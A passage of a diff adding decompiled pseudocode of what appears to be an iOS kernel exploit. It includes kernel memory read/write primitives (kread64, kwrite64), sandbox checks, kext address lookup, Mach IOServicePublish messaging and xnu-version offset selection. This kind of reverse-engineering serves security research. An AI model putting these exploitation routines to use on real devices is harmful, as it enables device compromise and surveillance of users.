v13; + v15[2] = v12; + v15[3] = v11; + v6 = sub_40FB0((__int64)&v10, 0, (__int64)v15); + } + else + { + v6 = -1; + } + if ( v14 ) + free(v14); + if ( v12 ) + free(v12); + } + else + { + v6 = -1; + } + } + else + { + strcpy((char *)v15, "MobileBackup"); + v6 = sub_23940((struct_krwCtx *)a1, (__int64)v15); + } + sub_35AE0((struct_krwCtx *)a1, *(_DWORD *)(a1 + 892), *(_QWORD *)(a1 + 936)); + if ( !v6 ) + krw_ctx_set_flag((_DWORD *)a1, 4); + } + } + } + } + else if ( krw_ctx_has_flag((struct_krwCtx *)a1, 4) ) + { + v7 = sub_33FFC((struct_krwCtx *)a1, mach_task_self_); + if ( v7 ) + { + v8 = *(_QWORD *)(a1 + 6376); + if ( v8 ) + { + sub_2A63C((struct_krwCtx *)a1, v7, v8); + if ( v9 ) + sub_36088((_DWORD *)a1, 4); + } + } + } + } +} +// 23DA8: variable 'v4' is possibly undefined +// 23E54: variable 'v9' is possibly undefined + +//----- (0000000000023F78) ---------------------------------------------------- +__int64 __fastcall sub_23F78(__int64 a1, void (__fastcall *a2)(__int64), __int64 a3) +{ + __int64 result; // x0 + __int64 v7; // x20 + mach_vm_address_t v8; // x23 + + result = 0; + if ( a1 ) + { + if ( a2 ) + { + result = sub_34D14(a1, mach_task_self_); + if ( (_DWORD)result ) + { + v7 = *(_QWORD *)(a1 + 936); + if ( !v7 ) + { + a2(a3); + return 1; + } + v8 = *(_QWORD *)(a1 + 6384) + (unsigned int)((*(_DWORD *)(a1 + 892) + 1) * *(_DWORD *)(a1 + 360)); + if ( *(_DWORD *)(a1 + 6448) == -1 + || *(_DWORD *)(a1 + 6452) == -1 + || *(_DWORD *)(a1 + 6464) == -1 + || !*(_QWORD *)(a1 + 536) + || *(_BYTE *)(a1 + 12) ) + { + result = kwrite64( + a1, + *(_QWORD *)(a1 + 6384) + (unsigned int)((*(_DWORD *)(a1 + 892) + 1) * *(_DWORD *)(a1 + 360)), + 0); + if ( !(_DWORD)result ) + return result; + goto LABEL_11; + } + result = sub_2A0D8( + (struct_krwCtx *)a1, + *(_QWORD *)(a1 + 6384) + (unsigned int)((*(_DWORD *)(a1 + 892) + 1) * *(_DWORD *)(a1 + 360)), + 0); + if ( (_DWORD)result ) + { +LABEL_11: + a2(a3); + if ( *(_DWORD *)(a1 + 6448) == -1 + || *(_DWORD *)(a1 + 6452) == -1 + || *(_DWORD *)(a1 + 6464) == -1 + || !*(_QWORD *)(a1 + 536) + || *(_BYTE *)(a1 + 12) ) + { + result = kwrite64(a1, v8, v7); + if ( !(_DWORD)result ) + return result; + } + else + { + result = sub_2A0D8((struct_krwCtx *)a1, v8, v7); + if ( !(_DWORD)result ) + return result; + } + return 1; + } + } + } + } + return result; +} + +//----- (00000000000240CC) ---------------------------------------------------- +__int64 __fastcall sub_240CC(int a1) +{ + __int64 result; // x0 + int v3; // w0 + bool v4; // zf + int v5; // w0 + + getpid(); + result = ((__int64 (__cdecl *)())sandbox_check)(); + if ( (_DWORD)result ) + { + getpid(); + if ( (unsigned int)((__int64 (__cdecl *)())sandbox_check)() ) + return 0; + getpid(); + v3 = ((__int64 (__cdecl *)())sandbox_check)(); + v4 = v3 == 0; + result = v3 != 0; + v4 = v4 || a1 == 0; + if ( !v4 ) + { + getpid(); + result = ((__int64 (__cdecl *)())sandbox_check)(); + if ( (_DWORD)result != 1 ) + { + v5 = socket(2, 2, 0); + if ( v5 != -1 ) + { + close(v5); + return 0; + } + return 1; + } + } + } + return result; +} + +//----- (00000000000241BC) ---------------------------------------------------- +__int64 __fastcall another_sandbox_check(__int64 a1) +{ + int v2; // w8 + __int64 result; // x0 + + getpid(); + v2 = ((__int64 (__cdecl *)())sandbox_check)(); + if ( !v2 || (result = 0, v2 == 1) ) + { + *(_BYTE *)(a1 + 10) = v2; + return 1; + } + return result; +} + +//----- (0000000000024208) ---------------------------------------------------- +unsigned __int64 __fastcall sub_24208(__int64 a1) +{ + unsigned __int64 result; // x0 + __int64 v3; // x8 + _BOOL4 has_flag; // w0 + __int64 v5; // x8 + __int64 v6; // x20 + __int64 v7; // x21 + unsigned __int64 v8; // x21 + int v9; // w8 + __int64 v10; // x1 + unsigned int v11; // w0 + __int64 v12; // x8 + __int64 v13[3]; // [xsp+0h] [xbp-50h] BYREF + __int128 v14; // [xsp+18h] [xbp-38h] BYREF + + result = *(_QWORD *)(a1 + 1472); + if ( result ) + return result; + v3 = *(_QWORD *)(a1 + 280); + if ( v3 ) + { + if ( *(_QWORD *)(a1 + 288) ) + { + result = *(_QWORD *)(v3 + 304); + if ( result ) + { +LABEL_6: + *(_QWORD *)(a1 + 1472) = result; + return result; + } + } + } + has_flag = krw_ctx_has_flag((struct_krwCtx *)a1, 4096); + v5 = 6648; + if ( !has_flag ) + v5 = 7448; + v6 = *(_QWORD *)(a1 + v5); + if ( !v6 ) + return 0; + macho_getsectbyname("__TEXT", v6, "__cstring", &v14); + result = sub_1E0C8(&v14, "appleevent-send", 0, 1); + if ( result ) + { + v7 = result; + macho_getsectbyname("__DATA_CONST", v6, "__const", v13); + result = sub_1E1B8(v13, v7, *(unsigned __int8 *)(v6 + 52)); + if ( result ) + { + v8 = result; + v9 = *(_DWORD *)(a1 + 320); + if ( v9 < 7195 ) + { + if ( v9 < 6153 ) + { + v11 = sub_1984C(); + v10 = sub_19B94(v6, v8 - 2LL * v11); + } + else + { + v10 = result - 128; + } + } + else + { + v10 = result - 184; + } + result = validate_addr(a1, v10); + if ( result ) + { + v12 = *(_QWORD *)(a1 + 280); + if ( v12 ) + { + if ( *(_QWORD *)(a1 + 288) ) + *(_QWORD *)(v12 + 304) = result; + } + goto LABEL_6; + } + } + } + return result; +} +// 19B94: using guessed type __int64 __fastcall sub_19B94(_QWORD, _QWORD); + +//----- (0000000000024368) ---------------------------------------------------- +void *__fastcall sub_24368(__int64 a1, __int16 *a2, __int64 a3) +{ + int v3; // w8 + __int64 v7; // x23 + unsigned __int64 v8; // x26 + unsigned __int64 v9; // x8 + unsigned __int64 v10; // x25 + void *result; // x0 + int v12; // w8 + int v13; // w9 + __int64 v14; // x22 + void *v15; // x21 + int v16; // w24 + char *v17; // x25 + int v18; // w26 + unsigned int v19; // w4 + int v20; // w0 + int v21; // w23 + unsigned int v22; // [xsp+Ch] [xbp-44h] BYREF + + v3 = *(_DWORD *)(a1 + 320); + if ( v3 != 7195 && v3 != 6153 ) + return 0; + if ( (unsigned int)a3 < 0xC ) + return 0; + if ( *a2 < 0 ) + return 0; + v7 = 2LL * *((unsigned __int8 *)a2 + 5); + v8 = *((unsigned __int8 *)a2 + 10) + (unsigned __int64)(unsigned __int16)a2[4] + *((unsigned __int8 *)a2 + 11); + v9 = v7 + 2 * v8; + v10 = v9 + 12; + if ( (int)v9 + 12 > (unsigned int)a3 ) + return 0; + v12 = v10 + 2 * *((unsigned __int8 *)a2 + 4); + v13 = 8 - (v12 & 6); + if ( (v12 & 6) == 0 ) + v13 = 0; + v14 = (unsigned int)(v13 + v12); + v22 = v13 + v12; + result = calloc((unsigned int)(8 * a3), 1u); + if ( result ) + { + v15 = result; + if ( (unsigned int)v10 < (unsigned int)v14 ) + { + v16 = 0; + v17 = (char *)a2 + v10; + v18 = 2 * v8 + v7 + 12; + while ( *(_WORD *)&v17[v16] ) + { + v19 = v14 + 8 * *(unsigned __int16 *)&v17[v16]; + if ( v19 < v18 + v16 ) + { + v21 = -2; + goto LABEL_21; + } + v20 = sub_244C8((__int64)a2, a3, (__int64)v15, v14, v19, &v22); + if ( v20 ) + { + v21 = v20; + goto LABEL_21; + } + v16 += 2; + if ( v18 + v16 >= v22 ) + break; + } + } + v21 = 0; +LABEL_21: + free(v15); + return (void *)(v21 == 0); + } + return result; +} + +//----- (00000000000244C8) ---------------------------------------------------- +__int64 __fastcall sub_244C8(__int64 a1, __int64 a2, __int64 a3, __int64 a4, unsigned int a5, unsigned int *a6) +{ + __int64 result; // x0 + unsigned __int64 v8; // x8 + __int64 v13; // x24 + __int16 v14; // w8 + + if ( a5 + 8 > (unsigned int)a2 ) + return 0xFFFFFFFFLL; + v8 = (unsigned __int64)a5 >> 3; + if ( *(_BYTE *)(a3 + v8) ) + return 0; + *(_BYTE *)(a3 + v8) = 1; + if ( *a6 > a5 ) + *a6 = a5; + v13 = a1 + a5; + if ( *(_BYTE *)v13 == 1 ) + { + v14 = *(_WORD *)(v13 + 1); + if ( (v14 & 1) != 0 ) + *(_WORD *)(v13 + 1) = v14 & 0xFFFA; + return 0; + } + result = sub_244C8(a1, a2, a3, a4, (unsigned int)a4 + 8 * *(unsigned __int16 *)(v13 + 4), a6); + if ( !(_DWORD)result ) + { + result = sub_244C8(a1, a2, a3, a4, (unsigned int)a4 + 8 * *(unsigned __int16 *)(v13 + 6), a6); + if ( !(_DWORD)result ) + return 0; + } + return result; +} + +//----- (00000000000245BC) ---------------------------------------------------- +__int64 __fastcall get_kext_base_addr(__int64 a1, char *__s, _QWORD *a3) +{ + size_t v6; // x0 + __int64 result; // x0 + __int64 v8; // [xsp+8h] [xbp-28h] BYREF + + v6 = strlen(__s); + result = sub_24620(a1, __s, v6 + 1, &v8); + if ( (_DWORD)result ) + { + *a3 = v8; + return 1; + } + return result; +} + +//----- (0000000000024620) ---------------------------------------------------- +__int64 __fastcall sub_24620(__int64 a1, char *__s2, unsigned __int64 a3, __int64 *a4) +{ + size_t v5; // x21 + __int64 v8; // x0 + __int64 v9; // x0 + char *v10; // x23 + unsigned int v11; // w8 + __int64 v12; // x24 + const char *i; // x22 + __int64 v14; // x8 + __int64 v15; // x23 + __int64 v16; // x0 + __int64 v17; // x8 + __int64 v18; // x24 + char *v19; // x0 + __int64 v20; // x25 + __int64 v21; // x26 + _OWORD *v22; // x27 + __int128 v23; // q1 + __int128 v24; // q1 + unsigned int v26; // [xsp+4h] [xbp-ACh] BYREF + __int64 v27; // [xsp+8h] [xbp-A8h] BYREF + __int64 v28; // [xsp+10h] [xbp-A0h] BYREF + _OWORD v29[3]; // [xsp+18h] [xbp-98h] BYREF + __int128 v30; // [xsp+48h] [xbp-68h] + + v5 = a3; + v8 = *(_QWORD *)(a1 + 6656); + if ( v8 ) + { + v9 = sub_19D20(v8, __s2, a3); + if ( v9 ) + { + *a4 = v9; + return 1; + } + } + v10 = *(char **)(a1 + 7440); + if ( v10 ) + { + v11 = *(_DWORD *)(a1 + 7432); +LABEL_6: + if ( v5 >= 0x40 ) + v5 = 64; + if ( v11 ) + { + v12 = v11; + for ( i = v10 + 8; strncmp(__s2, i, v5); i += 72 ) + { + if ( !--v12 ) + return 0; + } + *a4 = *((_QWORD *)i - 1); + return 1; + } + return 0; + } + v14 = *(_QWORD *)(a1 + 280); + if ( !v14 || !*(_QWORD *)(a1 + 288) || (v15 = *(_QWORD *)(v14 + 264)) == 0 ) + { + v16 = sub_1E62C(*(__int64 **)(a1 + 6648)); + if ( !v16 ) + return 0; + v15 = v16; + if ( !validate_addr(a1, v16) ) + return 0; + v17 = *(_QWORD *)(a1 + 280); + if ( v17 && *(_QWORD *)(a1 + 288) ) + *(_QWORD *)(v17 + 264) = v15; + } + if ( kread32_outptr(a1, v15 + 20, &v26) + && v26 <= 0x400 + && kread64_outptr((struct_krwCtx *)a1, v15 + 32, (unsigned __int64 *)&v27) ) + { + if ( validate_addr(a1, v27) ) + { + v18 = v26; + v19 = (char *)calloc(72LL * v26, 1u); + if ( v19 ) + { + v10 = v19; + if ( (_DWORD)v18 ) + { + v20 = 0; + v21 = v27; + v22 = v19 + 8; + while ( kread64_outptr( + (struct_krwCtx *)a1, + v21 + (unsigned int)(*(_DWORD *)(a1 + 360) * v20), + (unsigned __int64 *)&v28) ) + { + if ( !validate_addr(a1, v28) ) + break; + if ( !kread64_outptr((struct_krwCtx *)a1, v28 + 80, (unsigned __int64 *)&v28) ) + break; + if ( !(unsigned int)kreadbuf_last_1((struct_krwCtx *)a1, v28 + 16, 64, v29) ) + break; + HIBYTE(v30) = 0; + v23 = v29[1]; + *v22 = v29[0]; + v22[1] = v23; + v24 = v30; + v22[2] = v29[2]; + v22[3] = v24; + if ( !kread64_outptr((struct_krwCtx *)a1, v28 + 156, (unsigned __int64 *)&v28) ) + break; + *((_QWORD *)v22 - 1) = v28; + ++v20; + v22 = (_OWORD *)((char *)v22 + 72); + if ( v18 == v20 ) + { + v11 = v26; + goto LABEL_40; + } + } + free(v10); + return 0; + } + v11 = 0; +LABEL_40: + *(_QWORD *)(a1 + 7440) = v10; + *(_DWORD *)(a1 + 7432) = v11; + goto LABEL_6; + } + } + } + return 0; +} + +//----- (00000000000248A4) ---------------------------------------------------- +__int64 __fastcall sub_248A4(__int64 a1, char *a2, unsigned __int64 a3, _QWORD *a4) +{ + __int64 result; // x0 + __int64 v6; // [xsp+8h] [xbp-18h] BYREF + + result = sub_24620(a1, a2, a3, &v6); + if ( (_DWORD)result ) + { + *a4 = v6; + return 1; + } + return result; +} + +//----- (00000000000248E4) ---------------------------------------------------- +__int64 __fastcall sub_248E4(__int64 a1) +{ + __int64 result; // x0 + + if ( !a1 ) + return 708609LL; + result = 0LL; + *(_QWORD *)a1 = 0LL; + *(_QWORD *)(a1 + 8) = 0LL; + *(_DWORD *)(a1 + 16) = 0; + return result; +} + +//----- (0000000000024908) ---------------------------------------------------- +__int64 __fastcall sub_24908(__int64 a1) +{ + void *v2; // x0 + __int64 result; // x0 + + if ( !a1 ) + return 708609; + v2 = *(void **)a1; + if ( v2 ) + free(v2); + result = 0; + *(_QWORD *)a1 = 0; + *(_QWORD *)(a1 + 8) = 0; + *(_DWORD *)(a1 + 16) = 0; + return result; +} + +//----- (0000000000024954) ---------------------------------------------------- +double __fastcall sub_24954(__int64 a1, int a2) +{ + double result; // d0 + __int64 v5; // x8 + + if ( !(unsigned int)sub_249B8(a1, 0xCu) ) + { + v5 = *(unsigned int *)(a1 + 8) + *(_QWORD *)a1; + *(_DWORD *)v5 = a2; + result = 2.64227521e-308; + *(_QWORD *)(v5 + 4) = 0x13000000000000LL; + *(_DWORD *)(a1 + 8) += 12; + ++*(_DWORD *)(a1 + 16); + } + return result; +} + +//----- (00000000000249B8) ---------------------------------------------------- +__int64 __fastcall sub_249B8(__int64 a1, unsigned int a2) +{ + int v2; // w8 + int v3; // w9 + __int64 v4; // x19 + unsigned int v6; // w21 + void *v7; // x0 + int v8; // w8 + + v2 = *(_DWORD *)(a1 + 8); + v3 = *(_DWORD *)(a1 + 12); + if ( v3 - v2 >= a2 ) + return 0; + v4 = 708617; + if ( a2 <= 0xFFFFFBFF ) + { + if ( v3 ) + { + v6 = a2 + 1024; + v7 = realloc(*(void **)a1, v2 + a2 + 1024); + if ( !v7 ) + return v4; + } + else + { + v6 = a2 + 1052; + v7 = calloc(a2 + 1052, 1u); + if ( !v7 ) + return v4; + } + *(_QWORD *)a1 = v7; + v8 = *(_DWORD *)(a1 + 8); + *(_DWORD *)(a1 + 12) = v8 + v6; + if ( !v8 ) + { + v4 = 0; + *(_DWORD *)(a1 + 8) = 28; + return v4; + } + return 0; + } + return 708620; +} + +//----- (0000000000024A64) ---------------------------------------------------- +__int64 __fastcall sub_24A64(__int64 a1, __int64 a2, int a3) +{ + __int64 result; // x0 + __int64 v7; // x8 + + result = sub_249B8(a1, 0x10u); + if ( !(_DWORD)result ) + { + v7 = *(unsigned int *)(a1 + 8) + *(_QWORD *)a1; + *(_QWORD *)v7 = a2; + *(_DWORD *)(v7 + 8) = 34799616; + *(_DWORD *)(v7 + 12) = a3; + *(_DWORD *)(a1 + 8) += 16; + ++*(_DWORD *)(a1 + 16); + } + return result; +} + +//----- (0000000000024AD0) ---------------------------------------------------- +__int64 __fastcall sub_24AD0(__int64 a1, const void *a2, unsigned int a3) +{ + __int64 v6; // x21 + + v6 = sub_249B8(a1, a3); + if ( !(_DWORD)v6 ) + { + memcpy((void *)(*(unsigned int *)(a1 + 8) + *(_QWORD *)a1), a2, a3); + *(_DWORD *)(a1 + 8) += a3; + } + return v6; +} + +//----- (0000000000024B38) ---------------------------------------------------- +__int64 __fastcall sub_24B38(__int64 a1, mach_port_t a2, mach_port_t a3, mach_msg_id_t a4) +{ + __int64 result; // x0 + mach_msg_header_t *v6; // x10 + mach_msg_bits_t v7; // w11 + int v8; // w9 + mach_msg_size_t v9; // w9 + mach_msg_return_t v10; // w0 + + result = 708609; + if ( a1 ) + { + v6 = *(mach_msg_header_t **)a1; + if ( *(_QWORD *)a1 ) + { + v7 = *(_DWORD *)(a1 + 16); + if ( v7 ) + v8 = -2147478252; + else + v8 = 5396; + v6->msgh_bits = v8; + v9 = *(_DWORD *)(a1 + 8); + v6->msgh_size = v9; + v6->msgh_remote_port = a3; + v6->msgh_local_port = a2; + v6->msgh_voucher_port = 0; + v6->msgh_id = a4; + v6[1].msgh_bits = v7; + v10 = mach_msg(*(mach_msg_header_t **)a1, 262145, v9, 0, 0, 0, 0); + if ( v10 ) + return v10 | 0x80000000; + else + return 0; + } + } + return result; +} + +//----- (0000000000024BC0) ---------------------------------------------------- +double __fastcall sub_24BC0(__int64 a1) +{ + char *v2; // x0 + char *v3; // x0 + double result; // d0 + __int64 v5; // x8 + unsigned __int64 v6; // x22 + int v7; // w8 + int v8; // w8 + char v9; // [xsp+30h] [xbp-560h] BYREF + char v10; // [xsp+34h] [xbp-55Ch] BYREF + __int64 v11; // [xsp+38h] [xbp-558h] BYREF + __int64 v12; // [xsp+40h] [xbp-550h] BYREF + utsname v13; // [xsp+48h] [xbp-548h] BYREF + + uname(&v13); + *(_QWORD *)a1 = strdup(v13.version); + v11 = 0; + v12 = 0; + v2 = strstr(v13.version, "xnu-"); + if ( sscanf(v2, "xnu-%d.%d.%d~%d", &v11, (char *)&v11 + 4, &v12, (char *)&v12 + 4) == 4 + || (v3 = strstr(v13.version, "xnu-"), + sscanf(v3, "xnu-%d.%d.%d.%d.%d~%d", &v11, (char *)&v11 + 4, &v12, &v9, &v10, (char *)&v12 + 4) == 6) ) + { + v5 = 0; + v6 = 0; + do + { + v6 = *(int *)((char *)&v11 + v5) + 1000 * v6; + v5 += 4; + } + while ( v5 != 16 ); + *(_QWORD *)(a1 + 8) = v6; + *(_DWORD *)(a1 + 36) = 38; + if ( strstr(v13.version, "T8120") ) + v7 = 46; + else + v7 = 38; + *(_DWORD *)(a1 + 36) = v7; + if ( v6 <= 0x74B4D4047FFLL ) + { + if ( v6 < 0x73835AB9470LL ) + v8 = 104; + else + v8 = 88; + } + else + { + v8 = 72; + } + *(_DWORD *)(a1 + 32) = v8; + *(_QWORD *)&result = 0x30000000060LL; + *(_OWORD *)(a1 + 16) = xmmword_43690; + } + return result; +} +// 43690: using guessed type __int128 xmmword_43690; + +//----- (0000000000024D64) ---------------------------------------------------- +const CFDictionaryRef *__fastcall sub_24D64(const char *a1) +{ + const CFDictionaryRef *result; // x0 + __int64 vars8; // [xsp+8h] [xbp+8h] + + result = IOServiceMatching(a1); + if ( result ) + { + if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) + __break(0xC471u); + return (const CFDictionaryRef *)IOServiceGetMatchingService(kIOMasterPortDefault, result); + } + return result; +} +// 24D90: variable 'vars8' is possibly undefined + +//----- (0000000000024DA8) ---------------------------------------------------- +__int64 __fastcall sub_24DA8( + unsigned int a1, + __int64 a2, + __int64 a3, + unsigned int a4, + unsigned int a5, + const void *a6, + int a7) +{ + mach_port_t reply_port; // w0 + mach_port_t v14; // w21 + __int64 v15; // x0 + int v16; // w8 + int v17; // w9 + int v18; // w23 + _DWORD *v19; // x8 + mach_port_t msgh_remote_port; // w10 + mach_msg_size_t msgh_size; // w8 + char v22; // w9 + mach_msg_header_t v24[2]; // [xsp+0h] [xbp-170h] BYREF + __int128 v25; // [xsp+30h] [xbp-140h] + __int128 v26; // [xsp+40h] [xbp-130h] + __int128 v27; // [xsp+50h] [xbp-120h] + __int128 v28; // [xsp+60h] [xbp-110h] + __int128 v29; // [xsp+70h] [xbp-100h] + __int128 v30; // [xsp+80h] [xbp-F0h] + __int128 v31; // [xsp+90h] [xbp-E0h] + __int128 v32; // [xsp+A0h] [xbp-D0h] + __int128 v33; // [xsp+B0h] [xbp-C0h] + __int128 v34; // [xsp+C0h] [xbp-B0h] + __int128 v35; // [xsp+D0h] [xbp-A0h] + __int128 v36; // [xsp+E0h] [xbp-90h] + __int128 v37; // [xsp+F0h] [xbp-80h] + __int128 v38; // [xsp+100h] [xbp-70h] + + v37 = 0u; + v38 = 0u; + v35 = 0u; + v36 = 0u; + v33 = 0u; + v34 = 0u; + v31 = 0u; + v32 = 0u; + v29 = 0u; + v30 = 0u; + v27 = 0u; + v28 = 0u; + v25 = 0u; + v26 = 0u; + memset(v24, 0, sizeof(v24)); + reply_port = mig_get_reply_port(); + if ( reply_port ) + { + v14 = reply_port; + v24[0].msgh_bits = -2147478253; + *(_QWORD *)&v24[0].msgh_remote_port = __PAIR64__(reply_port, a1); + *(_QWORD *)&v24[0].msgh_id = 0x200000B36LL; + *(_QWORD *)&v24[1].msgh_size = a3; + v24[1].msgh_local_port = 0x1000000; + *(_QWORD *)&v24[1].msgh_voucher_port = __PAIR64__(a5, a4); + DWORD1(v25) = 1310720; + *((NDR_record_t *)&v25 + 1) = NDR_record; + v15 = __strlcpy_chk(); + v16 = v15 + 1; + v17 = 8 - ((v15 + 1) & 7); + if ( ((v15 + 1) & 7) == 0 ) + v17 = 0; + v18 = v17 + v16; + DWORD1(v26) = v17 + v16; + v19 = (mach_msg_bits_t *)((char *)&v24[0].msgh_bits + (unsigned int)(v17 + v16)); + v19[18] = a4; + v19[19] = a7; + memcpy(v19 + 20, a6, (unsigned int)(8 * a7)); + if ( mach_msg(v24, 3, v18 + 8 * a7 + 80, 0x110u, v14, 0, 0) ) + { + mig_dealloc_reply_port(v14); + msgh_remote_port = 0; + msgh_size = 0; + v22 = 0; + } + else if ( v24[0].msgh_id == 2970 ) + { + if ( (v24[0].msgh_bits & 0x80000000) != 0 && v24[1].msgh_bits == 1 ) + { + msgh_remote_port = 0; + v22 = 1; + msgh_size = v24[1].msgh_size; + } + else + { + msgh_size = 0; + v22 = 1; + msgh_remote_port = v24[1].msgh_remote_port; + } + } + else + { + msgh_size = 0; + v22 = 1; + msgh_remote_port = -301; + } + } + else + { + msgh_remote_port = 0; + msgh_size = 0; + v22 = 1; + } + if ( ((unsigned __int8)v22 & (msgh_remote_port == 0) & (msgh_size != 0) & (msgh_size != -1)) != 0 ) + return msgh_size; + else + return 0; +} + +//----- (0000000000024FC0) ---------------------------------------------------- +__int64 __fastcall sub_24FC0(__int64 a1, unsigned int a2, mach_port_name_t *a3) +{ + host_t v6; // w0 + __int64 result; // x0 + mach_port_name_t name; // [xsp+8h] [xbp-28h] BYREF + io_master_t io_master; // [xsp+Ch] [xbp-24h] BYREF + + v6 = mach_host_self(); + if ( !host_get_io_master(v6, &io_master) && !mach_port_allocate(mach_task_self_, 1u, &name) ) + { + result = sub_24DA8(io_master, (__int64)"IOServicePublish", a1, a2, name, 0, 0); + if ( (_DWORD)result ) + { + *a3 = name; + return result; + } + mach_port_destroy(mach_task_self_, name); + } + return 0; +} + +//----- (0000000000025068) ---------------------------------------------------- +bool __fastcall sub_25068(thread_act_t a1, thread_policy_t policy_info) +{ + return !thread_policy_set(a1, 2u, policy_info, 4u) && thread_policy_set(a1, 3u, policy_info + 4, 1u) == 0; +} + +//----- (00000000000250C4) ---------------------------------------------------- +bool __fastcall sub_250C4(thread_act_t a1, unsigned int a2) +{ + unsigned __int64 v4; // d0 + unsigned __int64 v5; // d1 + double v7; // d0 + mach_timebase_info v8; // [xsp+0h] [xbp-30h] BYREF + integer_t policy_info[3]; // [xsp+8h] [xbp-28h] BYREF + __int64 v10; // [xsp+14h] [xbp-1Ch] + + if ( mach_timebase_info(&v8) ) + return 0; + LODWORD(v5) = v8.numer; + LODWORD(v4) = v8.denom; + v7 = (double)v4 / (double)v5 * 1000000.0; + policy_info[0] = (unsigned int)(v7 * (double)a2); + policy_info[1] = (unsigned int)(v7 * 50.0); + policy_info[2] = policy_info[0]; + v10 = 0x7F00000000LL; + return sub_25068(a1, policy_info); +} +// 250F8: variable 'v4' is possibly undefined +// 250FC: variable 'v5' is possibly undefined + +//----- (000000000002515C) ---------------------------------------------------- +bool __fastcall sub_2515C(thread_act_t a1) +{ + return sub_250C4(a1, 0x32u); +} + +//----- (0000000000025164) ---------------------------------------------------- +__int64 __fastcall sub_25164(__int64 a1, unsigned int a2) +{ + __int64 result; // x0 + __int64 v4; // x9 + + result = 708616; + v4 = *(_QWORD *)(a1 + 280); + if ( v4 && *(_QWORD *)(a1 + 288) ) + { + if ( a2 > 0x3F ) + { + return 163857; + } + else + { + result = 0; + atomic_store(0, (unsigned __int8 *)(v4 + a2)); + } + } + return result; +} + +//----- (00000000000251A4) ---------------------------------------------------- +__int64 __fastcall sub_251A4(__int64 a1, unsigned int a2, unsigned int a3) +{ + __int64 v3; // x19 + __int64 v4; // x25 + uint64_t v8; // x0 + uint64_t v9; // x22 + atomic_uchar *v10; // x25 + + v3 = 708616; + v4 = *(_QWORD *)(a1 + 280); + if ( v4 && *(_QWORD *)(a1 + 288) ) + { + if ( a2 > 0x3F ) + { + return 163857; + } + else + { + v8 = mach_absolute_time(); + if ( (atomic_exchange((atomic_uchar *volatile)(v4 + a2), 1u) & 1) != 0 ) + { + v9 = v8; + v10 = (atomic_uchar *)(v4 + a2); + while ( !a3 + || a3 >= (mach_absolute_time() - v9) * *(unsigned int *)(a1 + 604) / *(unsigned int *)(a1 + 608) / 0xF4240 ) + { + thread_switch(0, 2, 1u); + if ( (atomic_exchange(v10, 1u) & 1) == 0 ) + return 0; + } + return 708640; + } + else + { + return 0; + } + } + } + return v3; +} + +//----- (0000000000025294) ---------------------------------------------------- +__int64 __fastcall sub_25294(int a1) +{ + __int64 result; // x0 + int v2; // w19 + int v3; // w8 + + result = close(a1); + if ( (_DWORD)result ) + { + v2 = *__error(); + v3 = *__error(); + if ( v2 < 0 ) + v3 = -v3; + return v3 | 0x40000000u; + } + return result; +} + +//----- (00000000000252D4) ---------------------------------------------------- +__int64 __fastcall open_dev_null(int *fdOut) +{ + int fd; // w0 + int fd_; // w8 + __int64 result; // x0 + int v5; // w19 + int v6; // w8 + + fd = open("/dev/null", 0x20); + if ( fd < 0 ) + { + v5 = *__error(); + v6 = *__error(); + if ( v5 < 0 ) + v6 = -v6; + return v6 | 0x40000000u; + } + else + { + fd_ = fd; + result = 0; + *fdOut = fd_; + } + return result; +} + +//----- (0000000000025334) ---------------------------------------------------- +__int64 __fastcall sub_25334(struct_krwCtx *a1, unsigned __int64 a2, void *a3, unsigned int a4, int a5) +{ + __int64 v5; // x20 + __int64 v11; // x26 + _QWORD v13[3]; // [xsp+8h] [xbp-78h] BYREF + __int64 v14; // [xsp+20h] [xbp-60h] BYREF + __int64 v15; // [xsp+28h] [xbp-58h] + unsigned __int64 v16; // [xsp+30h] [xbp-50h] + int v17; // [xsp+3Ch] [xbp-44h] BYREF + + v5 = 708609; + if ( a1->gap1911[0] != -1 + && a1->gap1911[1] != -1 + && a1->gap1913 != -1 + && a1->gap1914 != -1 + && validate_addr_maybe2(a1, a2) ) + { + v17 = -1; + if ( a5 ) + { + v11 = fd_open_dev_null(&v17); + if ( (_DWORD)v11 ) + goto LABEL_15; + v11 = fd_read_test((int *)a1->gap1911); + if ( (_DWORD)v11 ) + goto LABEL_15; + } + v14 = a4; + v15 = 0x1000000000000000LL; + v16 = a2; + v11 = sub_1F714((__int64)a1->gap1911, &v14, 0x18u); + if ( !(_DWORD)v11 ) + { + v11 = sub_1F770((int *)a1->gap1911, v13, 0x18u); + if ( !(_DWORD)v11 ) + { + if ( v14 ^ v13[0] | v15 ^ v13[1] | v16 ^ v13[2] ) + v11 = 708628; + else + v11 = sub_1F770((int *)&a1->gap1913, a3, a4); + } + } + if ( a5 ) +LABEL_15: + fd_close(v17); + return v11; + } + return v5; +} + +//----- (0000000000025498) ---------------------------------------------------- +__int64 __fastcall sub_25498(struct_krwCtx *a1, unsigned __int64 a2, const void *a3, unsigned int a4, int a5) +{ + __int64 v5; // x20 + __int64 test; // x26 + _QWORD v13[3]; // [xsp+8h] [xbp-78h] BYREF + __int128 v14; // [xsp+20h] [xbp-60h] BYREF + unsigned __int64 v15; // [xsp+30h] [xbp-50h] + int v16; // [xsp+3Ch] [xbp-44h] BYREF + + v5 = 708609; + if ( a1->gap1911[0] != -1 + && a1->gap1911[1] != -1 + && a1->gap1913 != -1 + && a1->gap1914 != -1 + && validate_addr_maybe2(a1, a2) ) + { + v16 = -1; + if ( a5 ) + { + test = fd_open_dev_null(&v16); + if ( (_DWORD)test ) + goto LABEL_15; + test = fd_read_test((int *)a1->gap1911); + if ( (_DWORD)test ) + goto LABEL_15; + } + v14 = xmmword_436C0; + v15 = a2; + test = sub_1F714((__int64)a1->gap1911, &v14, 0x18u); + if ( !(_DWORD)test ) + { + test = sub_1F770((int *)a1->gap1911, v13, 0x18u); + if ( !(_DWORD)test ) + { + if ( (unsigned __int64)v14 ^ v13[0] | *((_QWORD *)&v14 + 1) ^ v13[1] | v15 ^ v13[2] ) + test = 708628; + else + test = sub_1F714((__int64)&a1->gap1913, a3, a4); + } + } + if ( a5 ) +LABEL_15: + fd_close(v16); + return test; + } + return v5; +} +// 436C0: using guessed type __int128 xmmword_436C0; + +//----- (00000000000255FC) ---------------------------------------------------- +__int64 __fastcall sub_255FC(__int64 result, __int64 a2, __int64 a3, __int64 a4, int a5) +{ + __int64 v5; // x8 + + *(_OWORD *)(a2 + 128) = 0u; + *(_OWORD *)(a2 + 144) = 0u; + *(_OWORD *)(a2 + 96) = 0u; + *(_OWORD *)(a2 + 112) = 